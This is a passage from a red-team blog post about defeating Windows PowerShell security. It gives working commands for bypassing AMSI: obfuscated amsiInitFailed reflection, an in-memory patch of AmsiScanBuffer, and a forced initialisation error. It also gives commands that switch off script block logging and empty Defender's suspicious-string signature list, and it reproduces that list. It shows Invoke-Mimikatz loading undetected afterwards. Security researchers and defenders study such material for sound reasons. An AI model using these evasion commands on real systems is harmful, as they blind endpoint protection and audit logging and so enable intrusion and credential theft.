This case insensitive match is applied by Defender to any command sent over via AMSI in search for commands attempting to unhook AMSI. It’s worth noting that there is no real parsing going on of the command’s context, for example, the following would also cause this rule to trigger:
echo“amsiutils’).getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)
Knowing this, we see how easy it is to bypass this signature, for example, we could do something like:
[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Or even just swap out single quotes for double quotes:
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
So it turns out that this solution isn’t really a true restriction to operator’s who simply modify their command to bypass AMSI. What is interesting about this development however, is that there now seems to be a concerted effort to stop attackers from using a known command to bypass AMSI. I doubt that this will be the end to this cat-and-mouse game, so I wanted to take a further look at how AMSI is working in PowerShell, and see if we could identify any other interesting bypasses.

AMSI Bypass – Patching amsi.dll AmsiScanBuffer

One way that seemed an intuitive way of evading AMSI was to patch out exported functions from AMSI.dll, the library responsible for gluing together Defender and PowerShell. After starting down this road, I actually found that the technique was already presented by Tal Lieberman during his Blackhat talk “The Rise and Fall of AMSI”. This method shows an alternative approach to AMSI evasion, and we will cover the fundamentals here to give you an idea of just how this technique can be applied.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned. Crafted, we have something like this:
$win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect
);
}
"@
Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer”)
$b = 0
[Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b)
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
Here we are simply grabbing the exported function using “GetProcAddress”, ensuring that we can write to the function body using “VirtualProtect” by marking the page as read/write/execute, and then using the “Copy” function to update the function with our new 7 byte stub.
When executed, the patched AmsiScanBuffer method looks like this:
Then if we attempt to load Invoke-Mimikatz:
Brilliant, no AMSI alerting or Defender showing up our script load.
The take-away from this technique, is that by having full access to the memory space of the process, it’s actually pretty difficult to stop the modification of functions which attempt to essentially report on their own malicious activity.
Now that we have a nice alternative technique to bypass AMSI, let’s try and find something a bit different which doesn’t involve the modification of unmanaged code.

AMSI Bypass – Forcing an error

We now know from the above test that Windows Defender is blocking based on signatures, and any attempt to reference “amsiInitFailed” is likely high on the agenda of endpoint security products given its prevalence. So how about we actually attempt to force a genuine error state, which should in turn set this flag for us?
After a bit of searching on a train journey to London, I found that it was actually trivial to force this error condition by controlling 2 variables used by the AMSI assembly, “amsiSession” and “amsiContext”.
Let’s first take a look first at the code which controls the setting of the “amsiInitFailed” flag within the “AmsiUtils.ScanContent” method:

int hresult = 0;
if (AmsiUtils.amsiContext == IntPtr.Zero)
{
hresult = AmsiUtils.Init();
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return;  AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
if (AmsiUtils.amsiSession == IntPtr.Zero)
{
hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, refAmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = true;
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}

Here we see 2 conditions which could result in this flag being set legitimately… that is if either “AmsiUtils.Init()” or “AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)” were to fail. We will focus on “AmsiOpenSession” for the purposes of this post, which is a native function exported from “amsi.dll”.
Let’s look at a disassembly of this function to see what is happening when it’s called by PowerShell:
Interestingly, we see that if we can get “AmsiOpenSession(…)” to be invoked with an “amsiContext” pointer which does not contain a 4 byte value of “AMSI” at offset 0x00, an error will be returned from the function of 0x80070057 (or E_INVALIDARG). When this error is returned back to PowerShell, “Utils.Succeeded(…)” will fail and “amsiInitFailed” will be set for us.
So how can we force this condition? To do this we will need to follow a few steps:
  1. Allocate a region of unmanaged memory which will be used as our fake “amsiContext”.
  2. Assign this allocated memory to the variable “amsiContext”.
  3. Set “amsiSession” to $null which will force the “AmsiOpenSession(..)” amsi.dll method, passing our controlled amsiContext memory region, and result in an error being returned.
Collated, we have the following command sequence:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null$null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
Executing this snippet, and attaching a debugger to Powershell.exe, we can see the expected error code being returned:
Now if we check for “amsiInitFailed”, we can see that this value has now been set:
And we can now try to load Invoke-Mimikatz:
Awesome, another way to get around AMSI.
Hopefully what you are seeing here is that although AMSI is a pretty good speed bump, if we understand just how the technology works in the background, we actually see that it is trivial to disable during a campaign.
Now that we have an idea of just how to find these kinds of bypasses, let’s turn our attention to another area of PowerShell security which may cause some issues during an engagement, PowerShell script block logging.

PowerShell Script Block Logging

If you haven’t yet come across this functionality yet, I recommend checking out this introduction post from Microsoft which covers the introduced logging support during PowerShell v5.
Essentially, script block logging gives blue-team the option to enable auditing of scripts being executed within PowerShell. Whilst this has obvious advantages, the huge benefit of this method is the ability to unpack obfuscated scripts into a readable form. For example, if we invoke an obfuscated command passed through Invoke-Obfuscate:
We see that our activity is logged using the decoded and deobfuscated PowerShell command:
Feed this into a log correlation tool, and the SOC has a brilliant way of logging and identifying malicious activity across a network.
So how as the red-team do we get around this? Let’s first take a look at the implementation of Powershell logging under the hood and find out.
To begin, we need to again disassemble the System.Management.Automation.dll assembly and search for the point at which script logging has been enabled.
If we review “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled”, we see:
internal static bool ScriptBlockLoggingExplicitlyDisabled()
{
Dictionary<stringobject> groupPolicySetting = Utils.GetGroupPolicySetting("ScriptBlockLogging", Utils.RegLocalMachineThenCurrentUser);
object obj;
return groupPolicySetting != null && groupPolicySetting.TryGetValue("EnableScriptBlockLogging"out obj) && string.Equals("0", obj.ToString(), StringComparison.OrdinalIgnoreCase);
}
This looks like a good place to start given our knowledge of how script block logging is rolled out. Here we find that the setting to enable or disable script logging is returned from the method “Utils.GetGroupPolicySetting(…)”. Digging into this method, we see:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringsettingName, RegistryKey[] preferenceOrder)
{
returnUtils.GetGroupPolicySetting("Software\\Policies\\Microsoft\\Windows\\PowerShell", settingName, preferenceOrder);
}
Contained here we have a further call which provides the registry key path and the setting we want to grab, which is passed to:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringgroupPolicyBase, string settingName, RegistryKey[] preferenceOrder)
{
ConcurrentDictionary<string, Dictionary<stringobject>> obj = Utils.cachedGroupPolicySettings;
...
if (!InternalTestHooks.BypassGroupPolicyCaching && Utils.cachedGroupPolicySettings.TryGetValue(key, out dictionary))
{
return dictionary;
}
...
}
And here we see a reference to the property “Utils.cachedGroupPolicySettings”. This ConcurrentDictionary<T> is used to store a cached version of the registry settings which enable / disable logging (as well as a variety of other PowerShell auditing features), presumably to increase performance during runtime rather than attempting to look up this value from the registry each time a command is executed.
Now that we understand just where these preferences are held during runtime, let’s move onto how we go about disabling this logging.

PowerShell script block logging – Bypass

We have seen that “cachedGroupPolicySettings” will be the likely target of our modification. The theory is that by manipulating the contents of “cachedGroupPolicySettings”, we should be able to trick PowerShell into believing that the registry key which was cached disables logging. This of course also has the benefit that we will never touch the actual registry value.
To update this dictionary within PowerShell, we can again turn to reflection. The “cachedGroupPolicySettings” dictionary key will need to be set to the registry key path where the PowerShell script blog logging functionality is configured, which in our case is “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”. The value will be a Dictionary<string,object> object pointing to our modified configuration value, which will be “EnableScriptBlockLogging” set to “0”.
Put together, we have a snippet that looks like this:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging""0")
And this is all it actually takes to ensure that events are no longer recorded:
It is important to note that as script block logging is enabled up until this point, this command will end up in the log. I will leave the exercise of finding a workaround to this to the reader.
While looking to see if this technique was already known, I actually came across a pull request in the Empire framework adding this functionality, courtesy of @cobbr_io.
This was later merged into Empire, which means that if you want to avoid PowerShell script block logging, the Empire framework already has you covered.
So, what about if we are operating in an environment in which script block logging has not been configured, we should be good to go right?… Unfortunately, no.

PowerShell Logging – Suspicious Strings

If we continue digging in PowerShell’s logging code, eventually we come to a method named “ScriptBlock.CheckSuspiciousContent”:
internal static string CheckSuspiciousContent(Ast scriptBlockAst)
{
IEnumerable<string> source = ScriptBlock.TokenizeWordElements(scriptBlockAst.Extent.Text);
ParallelOptions parallelOptions = new ParallelOptions();
string foundSignature = null;
Parallel.ForEach<string>(source, parallelOptions, delegate(string element, ParallelLoopState loopState)
{
if (foundSignature == null && ScriptBlock.signatures.Contains(element))
{
foundSignature = element;
oopState.Break();
}
});
if (!string.IsNullOrEmpty(foundSignature))
{
return foundSignature;
}
if (!scriptBlockAst.HasSuspiciousContent)
{
return null;
}
Ast ast2 = scriptBlockAst.Find((Ast ast) => !ast.HasSuspiciousContent && ast.Parent.HasSuspiciousContent, true);
if (ast2 != null)
{
return ast2.Parent.Extent.Text;
}
return scriptBlockAst.Extent.Text;
}
Here we have a method which will iterate through a provided script block, and attempt to assess if its execution should be marked as suspicious or not. Let’s have a look at the list of signatures which can be found in the variable “Scriptblock.signatures”:

private static HashSet<string> signatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
"Add-Type",
"DllImport",
"DefineDynamicAssembly",
"DefineDynamicModule",
"DefineType",
"DefineConstructor",
"CreateType",
"DefineLiteral",
"DefineEnum",
"DefineField",
"ILGenerator",
"Emit",
"UnverifiableCodeAttribute",
"DefinePInvokeMethod",
"GetTypes",
"GetAssemblies",
"Methods",
"Properties",
"GetConstructor",
"GetConstructors",
"GetDefaultMembers",
"GetEvent",
"GetEvents",
"GetField",
"GetFields",
"GetInterface",
"GetInterfaceMap",
"GetInterfaces",
"GetMember",
"GetMembers",
"GetMethod",
"GetMethods",
"GetNestedType",
"GetNestedTypes",
"GetProperties",
"GetProperty",
"InvokeMember",
"MakeArrayType",
"MakeByRefType",
"MakeGenericType",
"MakePointerType",
"DeclaringMethod",
"DeclaringType",
"ReflectedType",
"TypeHandle",
"TypeInitializer",
"UnderlyingSystemType",
"InteropServices",
"Marshal",
"AllocHGlobal",
"PtrToStructure",
"StructureToPtr",
"FreeHGlobal",
"IntPtr",
"MemoryStream",
"DeflateStream",
"FromBase64String",
"EncodedCommand",
"Bypass",
"ToBase64String",
"ExpandString",
"GetPowerShell",
"OpenProcess",
"VirtualAlloc",
"VirtualFree",
"WriteProcessMemory",
"CreateUserThread",
"CloseHandle",
"GetDelegateForFunctionPointer",
"kernel32",
"CreateThread",
"memcpy",
"LoadLibrary",
"GetModuleHandle",
"GetProcAddress",
"VirtualProtect",
"FreeLibrary",
"ReadProcessMemory",
"CreateRemoteThread",
"AdjustTokenPrivileges",
"WriteByte",
"WriteInt32",
"OpenThreadToken",
"PtrToString",
"FreeHGlobal",
"ZeroFreeGlobalAllocUnicode",
"OpenProcessToken",
"GetTokenInformation",
"SetThreadToken",
"ImpersonateLoggedOnUser",
"RevertToSelf",
"GetLogonSessionData",
"CreateProcessWithToken",
"DuplicateTokenEx",
"OpenWindowStation",
"OpenDesktop",
"MiniDumpWriteDump",
"AddSecurityPackage",
"EnumerateSecurityPackages",
"GetProcessHandle",
"DangerousGetHandle",
"CryptoServiceProvider",
"Cryptography",
"RijndaelManaged",
"SHA1Managed",
"CryptoStream",
"CreateEncryptor",
"CreateDecryptor",
"TransformFinalBlock",
"DeviceIoControl",
"SetInformationProcess",
"PasswordDeriveBytes",
"GetAsyncKeyState",
"GetKeyboardState",
"GetForegroundWindow",
"BindingFlags",
"NonPublic",
"ScriptBlockLogging",
"LogPipelineExecutionDetails",
"ProtectedEventLogging"
};

What this means is that if your command contains any of the above strings an event will be logged, even if no script block logging has been configured. For example, if we execute a command which matches a suspicious signature on an environment not configured with logging, such as:
Write-Host “I wouldn’t want to call DeviceIoControl here”
We see that the token “DeviceIoControl” is identified as suspicious and our full command is added to the Event Log:
So how do we go about evading this? Let’s see how our suspicious command is handled by PowerShell:
internal static void LogScriptBlockStart(ScriptBlock scriptBlock, Guid runspaceId)
{
bool force = false;
if (scriptBlock._scriptBlockData.HasSuspiciousContent)
{
force = true;
}
ScriptBlock.LogScriptBlockCreation(scriptBlock, force);
if(ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockInvocationLogging"))
{
PSEtwLog.LogOperationalVerbose(PSEventId.ScriptBlock_Invoke_Start_Detail, PSOpcode.Create, PSTask.CommandStart, PSKeyword.UseAlwaysAnalytic, newobject[]
{
scriptBlock.Id.ToString(),
runspaceId.ToString()
});
}
}
Here we can see that the “force” local variable is set depending on if our command is detected as suspicious or not. This is then passed to “ScriptBlock.LogScriptBlockCreation(…)” to force logging:
internal static void LogScriptBlockCreation(ScriptBlock scriptBlock, boolforce)
{
if ((force || ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockLogging")) && (!scriptBlock.HasLogged || InternalTestHooks.ForceScriptBlockLogging))
{
if (ScriptBlock.ScriptBlockLoggingExplicitlyDisabled() || scriptBlock.ScriptBlockData.IsProductCode)
{
return;
}
...
}
}
Above we can see that the decision to log is based on the “force” parameter, however we are able to exit this method without logging if the “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()” method returns true.
As we know from the above walkthrough, we already control how this method returns, meaning that we can repurpose our existing script block logging bypass to ensure that any suspicious strings are also not logged.
There is a second bypass here however that we can use when operating in an environment with only this kind of implicit logging. Remember that list of suspicious strings… how about we just truncate that list, meaning that no signatures will match?
Using a bit of reflection, we can use the following command to do this:
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object'System.Collections.Generic.HashSet[string]'))
Here we set the “signatures” variable with a new empty hashset, meaning that the “force” parameter will never be true, bypassing logging:
Hopefully this post has demonstrated a few alternative ways of protecting your operational security when using your script arsenal. As we continue to see endpoint security solutions focusing on PowerShell, I believe that ensuring we know just how these security protections work will not only improve our attempts to avoid detection during an engagement, but also help defenders to understand the benefits and limitations to monitoring PowerShell.